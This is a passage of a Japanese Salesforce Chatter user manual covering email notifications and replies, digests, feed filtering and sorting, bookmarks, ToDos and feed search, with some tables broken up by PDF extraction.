た場合は、あなたがメール通知を受け取ります。メール通知設定 (ページ3626)は
変更できます。
• 投稿またはコメントへのいいね! を取り消すには、[いいね! を取り消す] をク

リックします。投稿またはコメントへのいいね! を取り消すと、それ以降の
コメントまたはいいね! についてメール通知は送信されません。

• 投稿またはコメントの下にある人名をクリックすると、「[John Smith]さんが
いいね! と言っています。」のように、投稿にいいね! と言った他のユーザの
プロファイルを表示できます。

• 4 名以上のユーザが投稿にいいね! と言っている場合、リンクをクリックすると「あなた、[John Smith]、[そ
の他 2 人]がいいね! と言っています。」のように完全なリストが表示されます。そのリストから、ユーザを
フォローしたり、フォローを停止したりできます。

• コメントで [いいね!] をクリックすると、[1 人] や [7 人] のように、そのコメントを気に入ったユーザの人数
が表示されます。名前を参照するには、リンクをクリックします。

関連トピック:

個人 Chatter メール設定を管理するためのガイドライン

Chatter メール通知への返信

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

メール通知を受信すると、そのメールから直接返信することにより、アクショ
ンを簡単に実行できます。表に記載された種別のメール、または [差出人]アド
レスに reply@chatter.salesforce.comと表示されている通知には返信でき
ます。

メモ: メール通知に返信するには、管理者が組織でメールの返信を有効化
している必要があります。

制限返信に含めるテキ
スト

メールの種別アクション

なしbookmark誰かがあなたのプ
ロファイルまたは
グループに投稿し
た、投稿であなた

投稿をブックマー
クする

をメンションし
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制限返信に含めるテキストメールの種別アクション

た、またはあなたの投稿
を共有した

最大 1,000 文字です。この
文字制限を超えた返信は、

コメントのテキスト誰かが投稿した、あなた
の投稿にコメントした、

投稿にコメントする

先頭から 1,000 文字で切り
捨てられます。

あなたの後にコメントし
た、または投稿あるいは
コメントであなたをメン
ションした

なしfollow誰かが投稿した、あなた
の投稿にコメントした、

ユーザをフォローする

あなたの後にコメントし
た、または投稿あるいは
コメントであなたをメン
ションした

なしlike または +1誰かがあなたの投稿にコ
メントした、またはあな
たの後にコメントした

コメントにいいね! と言う

なしlike または +1誰かがあなたのプロファ
イルまたはグループに投

投稿にいいね! と言う

稿した、投稿であなたを
メンションした、または
あなたの投稿を共有した

なしmute元の投稿に関する通知の
受信停止を希望する投稿
またはコメントメール

投稿をミュートする

最大 10,000 文字です。この
文字制限を超えた返信は、

返答のテキスト誰かがあなたにメッセー
ジを送信した

Chatterメッセージに返答す
る

先頭から 10,000 文字で切り
捨てられます。

なしunfollow誰かが投稿した、あなた
の投稿にコメントした、

ユーザのフォローを解除
する

あなたの後にコメントし
た、または投稿あるいは
コメントであなたをメン
ションした

なしunlike または –1誰かが投稿した、あなた
の投稿にコメントした、

投稿のいいね! を取り消す

またはあなたが以前いい
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制限返信に含めるテキストメールの種別アクション

ね! と言った投稿にあなた
の後にコメントした

メールの返信を送信するときに、次のヒントを考慮してください。
• 返信は、プロファイルで指定したメールアドレスから送信する必要があります。メールエイリアス (別名設

定) やメール転送サービスなど、別のメールアドレスから返信するサービスを使用すると、返信は処理され
ません。

• ブックマーク、ミュート、いいね! またはいいね! の取り消し、フォローまたはフォロー解除のための返信
には、like  (大文字と小文字を区別しません) または +1 のような単一の単語あるいは正確なテキストのみ
を含める必要があります。余分な空白または一部のメールアプリケーションが自動的に含める元のメッセー
ジを含むと、それらは無視され、その返信はいいね! やブックマークなどとして処理されます。ただし、他
のテキスト (Like! や Like this? など) が本文に含まれている場合、いいね! やブックマークなどではな
くコメントとして返信が処理されます。

• 返信に個人のメール署名が含まれる場合、署名テキストはコメントの一部として処理されます。iPhone

から送信済 のようにモバイルデバイスによって送信されたデフォルト署名は、返信から自動的に削除され
ます。返信前に、Chatter に投稿しないカスタム署名と余分のテキストを削除します。または、署名の上部
に区切り線を追加することで、署名を自動的に削除できます。区切り線には、少なくとも次のいずれかの
文字を使用する必要があります。
– ダッシュ (-)

– 等号記号 (=)

– アンダースコア (_)

これらの文字の任意の組み合わせや、RFC 3676 4.3に準拠したダッシュ、ダッシュ、スペース (-- ) を使用す
ることもできます。

• 返信の添付ファイルとメンションは無視されます。
• 返信する前に、メールの [宛先] 項目に表示されるメールアドレスを確認します。有効なアドレスには、

w8t27apy1@j321imd9gbs.d8rx.d.chatter.yourInstance.salesforce.com のように、@ マークの
前後の両方にトークン、つまり長い文字列が含まれています。メールアプリケーションには、元のメール
の [送信者] アドレスである reply@chatter.salesforce.com を自動的に使用するものもありますが、
これは返信を受信できる有効なアドレスではありません。返信メールの [宛先] 項目にこの短縮アドレス
が表示されている場合は、メールのヘッダー情報の有効な返信先アドレスに置き換えます。たとえば、IBM®

Lotus Notes® などのアプリケーションでは、次のようにします。
1. 元のメールを開きます。
2. [表示] > [表示] > [ページソース] をクリックします。
3. 返信先セクションで、w8t27apy1@j321imd9gbs.d8rx.d.chatter.yourInstance.salesforce.com

などのメールアドレスをコピーします。
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4. 返信メールの [宛先] 項目に返信アドレスを貼り付けます。

関連トピック:

投稿やコメントへのいいね!

Chatter メール設定への移動

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

メール通知およびダイジェストの受信設定を変更するには、Chatter メール設定
にアクセスします。
• 個人設定から、[クイック検索]ボックスに「Chatter」と入力し、表示され

た [Chatter のメール設定] または [メール通知] を選択します。
• または、任意のグループページから [私宛てにメール送信...] > [メール設定]を

クリックします。
Chatter のメール通知やダイジェストを受け取るには、管理者が組織のメール通
知を有効にする必要があります。Chatter メールを受信するには、[メール送信]

を選択します。

警告: このオプションの選択を解除すると、Chatterメール通知がまったく送
信されなくなります。

関連トピック:

Chatter メールダイジェスト
個人 Chatter メール設定を管理するためのガイドライン

Chatter メールダイジェスト

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

メールダイジェストは、Chatter の最近の活動をタイミングよく集計するため、
重要な議論を見逃しません。自分のフィードまたはグループのフィードの更新
の概要を毎日または毎週受信できます。
個人ダイジェストには、ユーザがフォローする人、レコード、ファイルに関し
て、また、自分のグループに関しての更新など、自分の Chatter フィードに表示
される更新が含まれます。グループダイジェストには、特定のグループのChatter

フィードに表示される更新が含まれます。
毎日のダイジェストには前日の最新の 50 個までの投稿が含まれ、毎週のダイ
ジェストにはその週の最新の 50 個までの投稿が含まれます。どちらのダイジェ
ストにも、投稿ごとに最新の 3 個のコメントが含まれます。Chatterは、毎日 12:00

AM 頃に毎日のダイジェストを、日曜日の 12:00 AM 頃に毎週のダイジェストを送
信します。ユーザダイジェストの場合、時間はユーザのタイムゾーンに従いま
す。グループダイジェストの場合、時間は組織のタイムゾーンに従います。ど
ちらの時間も設定できません。
メール通知はデフォルトで無効になっているため、グループに参加したり、グループに追加されたときに、最
初にメール通知を受信することはありません。[自分が参加しているグループのデフォルトの頻度を設定:]を使
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用すると、新しいグループに参加したときにメールを受信する頻度を選択できます。デフォルトの頻度を変更
しても、すでに属しているグループに影響はありません。組織が Summer '11 より前から存続し、Professional

Edition、Enterprise Edition、Unlimited Edition、Developer Edition の組織である場合、デフォルトで引き続き毎日のダイ
ジェストを受信する可能性があります。

関連トピック:

Chatter メール設定への移動
個人 Chatter メール設定を管理するためのガイドライン

個人 Chatter メール設定を管理するためのガイドライン

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

最も重要なメールおよび個人ダイジェストとグループダイジェストの適切な頻
度を選択して、Chatter メールの受信数を制御します。

ユーザが次の動作をした場合にメール送信
個人メール設定は注意して選択する必要があります。大量のメールに困惑する
ことなく、重要な議論をしっかりと把握できるように設定してください。

推奨事項とメモ最も重要オプション

まだ他のユーザをフォローしていな
い場合、メールのリンクをクリック
して、新しいフォロワーのフォロー
を開始できます。

私をフォロー

他のユーザは、確実に通知できるよ
うに質問や情報をプロファイルに投
稿して直接あなたに連絡します。

私のプロファイルに投稿

私が行った投稿を共有

私が行った投稿やコメントに
いいね! と言った

この設定では、実行したアクション
の通知が変更追跡フィードに表示さ

私のステータスや私が行った
変更にコメント

れます。変更追跡フィードは、Chatter

フィードへの自動投稿がトリガされ
る、Salesforce で行った変更です。こ
のオプションを有効にすると、誰か
がその投稿にコメントしたときに通
知されます。

私のプロファイルの投稿にコ
メント
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推奨事項とメモ最も重要オプション

あなたが項目にコメントした後のコメント (最大 10

件) について通知を受け取ります。投稿に後から再
私の後にコメント

度コメントすると、件数がリセットされ、後続の別
の最大 10 件のコメントについて通知を受け取りま
す。

ブックマークを使用して、関心のある項目を追跡す
る場合、誰かがコメントするたびにメールを受信し

私がブックマークした項目にコメント

ます。いいね! を使用して、関心のある項目を追跡
することが多い場合、このオプションはそれほど重
要ではありません。

あなたが項目にいいね! と言った後のコメント (最大
10 件) について通知を受け取ります。

私がいいね! と言った項目にコメント

他のユーザは、確実に通知できるようにメンション
を使用してあなたの返答を求め、議論に参加しても
らおうとします。

投稿で私に関する内容を書き込んだ

他のユーザは、確実に通知できるようにメンション
を使用してあなたの返答を求め、議論に参加しても
らおうとします。

コメントで私に関する内容を書き込んだ

他のユーザが自分に非公開のChatterメッセージを送
信すると、[メッセージを自分に送信]通知を受け取

メッセージを自分に送信

ります。これには、自分とファイルが共有された場
合の通知も含まれます。

トピックで自分を支持

個人のダイジェストの頻度の設定

推奨事項とメモ推奨オプション

毎日のダイジェストには前日の最新の 50 個の投稿
と各投稿の最新の 3 個のコメントが含まれます。

毎日

毎週のダイジェストにはその週の最新の 50 個の投
稿と各投稿の最新の 3 個のコメントが含まれます。

毎週

[ユーザが次の動作をした場合にメール送信] セク
ションのオプションを注意して選択している場合、

制限付き

個人ダイジェストを受信する必要がまったくないこ
ともあります。
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個人ダイジェストは、コミュニティではサポートされていません。

自分が参加しているグループのデフォルトの頻度を設定
参加しているグループのデフォルトの頻度を変更しても、すでに属しているグループに影響はありません。

推奨事項とメモ推奨オプション

コミュニティでは、この設定を選択したグループ
のメンバーが 10,000 人を超えると、[すべての投稿

すべての投稿でメール送信

でメール送信]オプションが無効になります。この
オプションを選択しているすべてのメンバーが、
自動的に [毎日のダイジェスト] に切り替えられま
す。

毎日のダイジェストには前日の最新の 50 個の投稿
と各投稿の最新の 3 個のコメントが含まれます。

毎日のダイジェスト

毎週のダイジェストにはその週の最新の 50 個の投
稿と各投稿の最新の 3 個のコメントが含まれます。

毎週のダイジェスト

新しいグループでは、すべてこのデフォルト設定
のままにしてください。積極的に監視して貢献す

制限付き

る予定のグループ (重要なチームまたはプロジェク
トのグループなど) に参加する場合、その特定のグ
ループの通知頻度を増やすことができます。

関連トピック:

Chatter メールダイジェスト
Chatter メール設定への移動

Chatter での「会社」や「組織」とはどのような意味ですか?

組織とは、Salesforceの単独の配備です。ライセンスを受けたユーザセットが定義されており、ユーザはChatter

を使用してもしなくてもかまいません。「会社」と「組織」という言葉は、Chatterではほとんど同義です。た
とえば、「社内のすべてのChatterユーザでファイルを共有する」とあれば、Chatterを使用する特定の Salesforce

組織内の全員で共有することを意味します。

関連トピック:

Chatter の概要

Salesforce ライセンスを持たない会社の同僚を招待できますか?

管理者が有効化すると、社内の他のユーザを招待できます。招待されたユーザは、プロファイルを表示した
り、フィードに投稿したり、グループに参加したりすることができます。ただし、Salesforceのデータまたはレ
コードを表示することはできません。
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[人] タブから、またはグループにメンバーを追加するときに、ユーザを招待できます。
また、所有または管理する非公開グループに顧客を追加できます。

フィードの使用
自分と他のユーザが行った投稿およびコメントと、Salesforce 組織全体で行われたレコードの変更について、最
新の状態に保ちます。

Chatter フィードの概要
プロファイル、グループ、[ホーム] タブ、トピックの詳細ページ、レコード詳細ページの Chatter フィード
では、ユーザとレコードをフォローし、更新を参照します。
特定のフィードの表示
投稿の特定のサブセットを表示するには、Chatter フィードを変更します。
フィードの絞り込みおよび並び替え
検索条件オプションや並び替えオプションを使用して、自分に適した更新を表示できます。
投稿からの ToDo の作成
フォローアップする投稿を読みましたか? [ToDo の新規作成] アクションを使用して、フォローアップする投
稿から直接 ToDo を作成します。
おすすめの表示
Chatter のお気に入りの概要

Chatter フィードの概要

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

プロファイル、グループ、[ホーム] タブ、トピックの詳細ページ、レコード詳細
ページの Chatter フィードでは、ユーザとレコードをフォローし、更新を参照し
ます。
通常、フォローすることで次に関する更新を参照できます。
• Chatter フィードのコメントと投稿
• 自分がメンバーになっているChatterグループに対する投稿、コメント、ファ

イル
• 共有ファイルおよびリンク
• ToDo と行動
• 取引開始済みのリード数
• レコード所有者の変更、完了した商談、クローズケースのようなレコード項

目の変更
レコードの更新は、システム生成された投稿ともいいます。これらは、誰かが新しいレコードを作成する
か、レコードで追跡されている項目を変更したときにSalesforceが自動生成する更新です。表示されるレコー
ドの更新は、システム管理者がどのようにフィード追跡を設定したか、およびレコードへのアクセス権が
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あるかどうかによって異なります。追跡されているフィードの更新のうち、経過日数が 45 日を超え、いい
ね! またはコメントがない更新は、自動的に削除されるため、表示されません。

関連トピック:

Chatter 投稿の共有

特定のフィードの表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

投稿の特定のサブセットを表示するには、Chatter フィードを変更します。
デフォルトでは、Chatter ページに移動すると [自分がフォローするもの] フィー
ドが表示されます。Chatter ページの左サイドバーにあるフィード選択を使用し
て、投稿のサブセットをフィードに表示します。たとえば、自分にメンション
する投稿のみ、ブックマークした投稿、または社内のすべての投稿を表示しま
す。
1. 使用可能なフィードを確認するには、 [フィード] をクリックします。
2. フィード内の関連付けられている投稿のサブセットを表示するには、フィー

ドをクリックします。
自分がフォローするもの

フォローしている人からの投稿、自分がメンバーであるグループ、フォ
ローしているファイルとレコードなど、自分がフォローしているすべて
のものの更新が表示されます。投稿のサブセットをさらに絞り込むには、
フィード上部のドロップダウンリストを使用します。

自分宛て
以下を含む、プロファイルページで行われた投稿が表示されます。
• 自分のプロファイルページに他のユーザが行った投稿
• 自分がメンションされた投稿およびコメント
• 自分が行った、コメントのある投稿

ブックマーク済み
ブックマークした投稿がフィードに表示されます。

[すべての会社] (Salesforce Classic)

以下からの投稿とコメントを含む、会社全体からの投稿とコメントが表示されます。
• 会社内のユーザ
• 公開グループ
• 自分がメンバーである非公開グループ。
• 他のユーザが投稿にいいね! と言ったか、コメントした場合、レコード、項目、およびシステム生成

された投稿のフィード変更追跡。投稿を表示するにはレコードへのアクセス権が必要です。
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会社の特長 (Lightning Experience)

会社全体で最も人気のある投稿やエンゲージメント (コメント、いいね!、参照など) が多い投稿が表示さ
れます。

関連トピック:

ファイルリストの絞り込み

フィードの絞り込みおよび並び替え

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

検索条件オプションや並び替えオプションを使用して、自分に適した更新を表
示できます。
フィードの絞り込みと並び替えは、フィードのすべての投稿ではなく、特定の
一連の投稿を表示する場合に便利です。

フィードの絞り込み
フィードに表示される投稿数を少なくするには、検索条件を使用します。
フィードの並び替え
投稿の新しい順またはコメントの新しい順でフィードを並び替えます。
フィードごとに使用できる条件
フィード条件オプションは、システム管理者による Salesforce の設定方法およ
び表示しているフィードによって異なります。すべてのフィードですべての
検索条件を使用できるわけではありません。

フィードの絞り込み

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

フィードに表示される投稿数を少なくするには、検索条件を使用します。
表示される検索条件は、システム管理者による Salesforce の設定によって異なり
ます。フィードの絞り込みは、Chatterページ、プロファイル、グループページ、
レコード詳細ページ、および検索結果ページで行います。すべてのフィードで
すべての検索条件を使用できるわけではありません。
• フィードの上で、[表示] の横にある をクリックし、フィルタオプションを

選択します。
すべての更新 (デフォルト)

自分がフォローする人とレコードからの投稿とコメントすべて、自分が
メンバーであるグループからの投稿、システムで生成された投稿すべて
が表示されます。

更新を減らす
– 自分がフォローする人とレコードからの投稿とコメントすべて、および自分がメンバーであるグルー

プからの投稿とコメントすべてが表示されます。
– 誰もコメントしていないシステム生成されたレコード投稿は非表示になります。
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人
自分がフォローしている人からの投稿とコメントが表示されます。

グループ
自分がメンバーであるグループの投稿が表示されます。

ファイル
次を含む投稿が表示されます。
– 自分がフォローしているファイル
– 自分がフォローしている他のユーザがコメントしたファイル投稿

例: [更新を減らす] 検索条件を使用して、システム生成された投稿を非表示にします。たとえば、Acme と
いう取引先をフォローしていて、Acme のアカウントエグゼクティブが商談を作成するとします。その後、
アカウントエグゼクティブは Acme 取引先で追跡されている項目も変更します。いずれの場合も、Salesforce

で各変更について自動的に更新を生成し、その更新がユーザの Chatterフィードおよび Acme 取引先の詳細
ページのフィードに投稿されます。[更新を減らす] 検索条件は、誰かのコメントがついていない限り、
フィードにあるこれらのシステム生成された投稿を非表示にします。システム生成された投稿を表示す
る場合は、[すべての更新] 検索条件を選択します。

関連トピック:

フィードごとに使用できる条件

フィードの並び替え

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

投稿の新しい順またはコメントの新しい順でフィードを並び替えます。
1. フィードの上で、[表示] の横にある をクリックします。
2. [並び替え] の下で、[最新の投稿]を選択して投稿の新しい順に並び替えるか、

[最近の活動]を選択してコメントのある投稿 (新規コメントのあるアンケート
を含む) の新しい順に並び替えます。
デフォルトでは、フィードは [最近の活動] で並び替えられます。並び替え条
件は [最新の投稿] と [最近の活動] の間でいつでも切り替えることができま
す。

例: たとえば、多くのユーザおよびレコードをフォローしていて、関心の
ある投稿をブックマークしているとします。就労時間の最後に、ブックマー
クした投稿が更新されたかどうかを知りたいとします。[ブックマーク済み]

をクリックして、すべてのブックマーク済み投稿を表示し、[最近の活動]

フィルタを使用して投稿を並び替えます。投稿はコメントの新しい順に表
示され、最新コメントのある投稿から開始されます。

関連トピック:

フィードの絞り込み
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フィードごとに使用できる条件

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

フィード条件オプションは、システム管理者による Salesforce の設定方法および
表示しているフィードによって異なります。すべてのフィードですべての検索
条件を使用できるわけではありません。

使用可能な検索条件フィード

自分がフォローするもの • すべての更新
• 更新を減らす
• 人
• グループ
• ファイル
• 最近の活動で並び替える/投稿日別

に並び替える

自分宛て • 最近の活動で並び替える/投稿日別
に並び替える

ブックマーク済み • 最近の活動で並び替える/投稿日別
に並び替える

すべての会社 (Salesforce Classic) • 最近の活動で並び替える/投稿日別
に並び替える

会社の特長 (Lightning Experience) • 上位の投稿で並び替える/最新の投
稿で並び替える/最近の活動で並び
替える

グループ • すべての更新
• 更新を減らす
• 最近の活動で並び替える/投稿日別

に並び替える

プロファイル • 最近の活動で並び替える/投稿日別
に並び替える

レコード • すべての更新
• 社内のみ

(この検索条件は、投稿を内部組織
にのみ表示し、Salesforce Communities

でのみ使用できます)
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使用可能な検索条件フィード

• 更新を減らす
• 最近の活動で並び替える/投稿日別に並び替える

検索 • すべての更新
• 更新を減らす
• 人
• グループ
• ファイル
• 最近の活動で並び替える/投稿日別に並び替える

関連トピック:

フィードの絞り込み
フィードの並び替え

FAQ - フィード

私のプロファイルフィードに、非公開グループへの更新が表示されます。これらの更新は、他には
誰が参照できますか?

そのグループへの更新は、プロファイルフィードの更新であっても、非公開グループのメンバーのみが参照で
きます。

関連トピック:

投稿の表示

自分がフォローしているレコードまたは人のリストを確認できますか?

フォローしている人およびレコードを確認するには、プロファイルでフォローリストを参照し、ユーザまたは
オブジェクトタイプで結果をフィルタします。また、プロファイルのフォローされている人リストでは、あな
たをフォローしている人のリストを確認できます。

関連トピック:

Chatter プロファイルの概要
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私の Chatter フィードに特定のユーザとレコードだけが表示されるのはなぜですか?

フォローしているユーザおよびレコードによる更新のみが表示されます。[ホーム] タブと Chatter タブの Chatter

フィードでさらに多くの更新を確認するには、フォローするレコードと人を追加します。フォローまたはフォ
ロー解除する組織内の人のリストを検索するには、Chatter タブの [人] をクリックします。

関連トピック:

最初に自動フォローする人とレコード

投稿のブックマーク

ブックマークの概要

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

ブックマークを使用して、関心のある個別の投稿を追跡できます。
投稿をブックマークすると、左のサイドバーの [ブックマーク済み] フィードを
使用してその投稿を迅速に検索できます。[ブックマーク済み] フィードでは、
ブックマークした投稿のみが表示されます。
ブックマークした投稿に誰かがコメントすると、メール通知を受け取ります。
ブックマークのメール通知はデフォルトで有効になっていますが、メール通知
(ページ 3626)を変更することができます。
ブックマークは非公開で、どの投稿をブックマークしているかは他のユーザに
は分かりません。追加できるブックマークの数に制限はありません。保存した
投稿に関心がなくなったら、ブックマークを削除できます。その投稿は、[ブッ
クマーク済み] をクリックしても保存した投稿として表示されなくなります。

関連トピック:

投稿やコメントへのいいね!

特定のフィードの表示
個人 Chatter メール設定を管理するためのガイドライン
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投稿のブックマーク

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

関心のある投稿を追跡し、保存した投稿を [ブックマーク済み] フィードで参照
します。
1. ブックマークする投稿の右上隅の をクリックして、ドロップダウンメ

ニューを展開します。
2. [ブックマーク] をクリックします。

ブックマークアイコン ( ) が投稿の横に表示され、投稿がブックマークに正
常に保存されたことを示します。

Chatterサイドバーの [フィード] > [ブックマーク済み]をクリックして、フィー
ドの保存済み投稿を表示します。
ブックマーク数に制限はありません。ブックマークは必要なだけ追加できます。

関連トピック:

投稿やコメントへのいいね!

ブックマークの削除

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

1. サイドバーの [フィード] > [ブックマーク済み] をクリックして、Chatter

フィードの保存済み投稿を表示します。
2. Chatter フィードの保存済み投稿を検索します。
3. 投稿の右上隅の をクリックして、ドロップダウンメニューを展開します。
4. [ブックマークを削除] をクリックします。
投稿からブックマークを削除すると、[ブックマーク済み]をクリックしても、そ
の投稿は保存済み投稿に表示されなくなります。
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投稿からの ToDo の作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

フォローアップする投稿を読みましたか? [ToDo の新規作成] アクションを使用し
て、フォローアップする投稿から直接 ToDo を作成します。
添付ファイルを含む投稿をはじめ、自分または組織の他のユーザが行った投稿
から ToDo を作成できます。レコード更新などシステムが生成する投稿からは
ToDo を作成できません。
1. 投稿の をクリックします。
2. [新規 ToDo を作成] をクリックします。

[ToDo の新規作成] アクションが表示されない場合は、Salesforce システム管理
者が組織でこのアクションを有効にしていません。

3. [ToDo の新規作成] ダイアログで、件名と期日を追加します。該当する場合
は、ToDo を取引先責任者またはリードおよびオブジェクト (取引先など) と関
連付けます。検索ボックスを使用して、利用可能な取引先責任者、取引先、
リード、オブジェクトを見つけます。

4. 終了したら、[作成] をクリックします。
ToDo が自分に割り当てられ、プロファイルフィードに投稿されます。[ホーム] タブの [ToDo] セクションにもこ
の ToDo が表示されます。

ToDo 件名のリンク (1 または 2) をクリックすると、ToDo が開きます。投稿のリンク (3) をクリックすると、ToDo

を作成した投稿が表示されます。

おすすめの表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

Chatter には、ジョブおよび関心事に密接に関連する人、グループ、ファイル、
およびレコードを特定するのに役立つおすすめが表示されます。受諾するおす
すめが多いほど、フィードに表示される更新も多くなります。
• フォローする人、レコード、またはファイルの横にある [フォローする]をク

リックします。
• [参加] をクリックしてグループメンバーになります。
• おすすめを閉じるには をクリックします。
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• [さらに表示]をクリックすると、[おすすめ] ページが表示され、横のフィルタを使用して人、ファイル、レ
コード、またはグループにおすすめをフィルタすることができます。

関連トピック:

おすすめユーザ
おすすめ Chatter グループ
おすすめレコード
おすすめファイル

フィードでの情報の検索

フィードでの検索
Chatter 全体で投稿およびコメント内の情報をすばやく検索します。
• Chatter全体でフィード内の情報を検索するには、ヘッダーの検索ボックス (グローバル検索) を使用します。
• 特定の Chatter フィード内の情報を検索するには、そのコンテキストでフィード検索 ( ) を使用します。
• Chatter で頻繁に実行する検索にすばやくアクセスするショートカットを作成するには、フィード検索をお

気に入りとして保存し、Chatter ページからお気に入りリンクをクリックします。

Chatter フィード検索結果

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

Chatter フィードの検索結果には、検索語が含まれる投稿とコメントが表示され
ます。
Chatterフィード検索は、検索範囲には影響されません。Chatterフィード検索の結
果には、すべてのオブジェクトにわたって一致するものが含まれます。

メモ: レコード項目への変更は、検索結果には含まれません。たとえば、
Acme アカウントの [住所(請求先)]項目のフィード追跡を有効にして、Acme

の請求先住所を変更すると、「Acme」の検索結果には、「Acme — Suzanne

Powell Acme アカウントを手伝ってくれるボランティア募集中」が含まれま
すが、「Acme — Suzanne Powell [町名・番地(請求先)] を「10 Main Road」に変
更」は含まれません。

• フィードの場合と同様に、検索結果を投稿のみ、または投稿とコメントで並
び替えることができます。

• フィードの場合と同様に、検索結果で投稿に対してコメント、いいね!、共
有、ブックマーク、削除ができます。

• フィードの場合と同様に、検索結果で投稿に対してトピックを追加、編集、または削除できます。
• フィードの場合と同様に、検索結果のファイルに対してフォロー、共有、ダウンロード、プレビュー、新

バージョンのアップロードができます。
• 更新内で Chatter のファイル、グループ、トピック、人の名前をクリックして、それぞれの詳細ページを表

示できます。
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• 更新の下のタイムスタンプ、たとえば、[昨日の 12:57 AM]をクリックして、1 つのフィード更新を表示でき
ます。

• [お気に入りに追加] をクリックして、Chatter フィード検索を Chatter タブのお気に入りに保存できます。
取引先、取引先責任者、Chatterユーザ、グループ、トピック、ファイルなどのレコードの検索結果を表示する
には、ページの左上にある [レコード] をクリックします。

ヒント: 特定のグループ、プロファイル、レコードのフィード、またはその他のChatterフィードで絞り込
んだ検索を行う場合は、フィード検索を使用します。

特定のフィード内の検索

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

特定のコンテキストで情報を検索するには、フィード検索を使用します。
レコード、グループ、トピックページ、ユーザプロファイル、Chatter タブ、お
よび [ホーム] タブのフィードで情報を検索できます。コンテキストフィード検
索は、ある物事が特定のフィードで過去に話し合われたかどうかを確認する場
合に役立ちます。
1. そのフィードの情報を検索するには、フィードの上にある をクリックし

ます。たとえば、グループの情報を検索するには、そのグループのページで
フィード検索を使用します。

2. 検索語を入力して、Enter キーを押すか をクリックします。
フィードに投稿されたハッシュタグトピック、メンション、ファイルを検索したり、ワイルドカード、演
算子、引用符を使用して検索を絞り込んで完全に一致する語句を検索したりできます。

ヒント: 複数の語句でハッシュタグトピックを検索するには、ハッシュタグの後ろで当該語句をかっ
こで囲みます。たとえば、#Universal Paper のすべてのインスタンスを検索するには、検索ボックスに
「#[universal paper]」と入力します。
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一致する語が強調表示されて、検索結果が表示されます。フィードで使用された検索条件または並び替え
条件は、フィード検索結果にも適用されます。

検索結果をクリアしてフィードに戻るには、 をクリックします。
フィード検索の動作は検索を実行する場所によって多少異なります。
• フィード検索は、リストビューのフィードではサポートされていません。
• 検索できるのは共有ルールによりアクセス権を持っているフィードのみです。
• Chatter タブのフィード検索結果も、フィード種別の選択によって制限されます。たとえば、[自分宛て] フィー

ド種別を選択し、追加の検索条件および並び替え条件を選択した場合、それらすべての条件がフィード検
索結果に適用されます。

• フィード検索結果は、検索対象のコンテキストから「アクセスできる投稿」に限定されています。たとえ
ば、ユーザのプロファイルでフィードを検索する場合、検索結果にはユーザのプロファイルからアクセス
できる投稿およびコメントが含まれます。また、ユーザが共有する、またはユーザと共有する投稿および
コメントが含まれます。

• フィード検索により、ファイルの一致や (コメントではなく) 投稿で共有されたリンク名が返されます。
• レコード項目の変更は、レコードフィードの検索結果には含まれません。

Chatter フィード検索をお気に入りに追加する

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

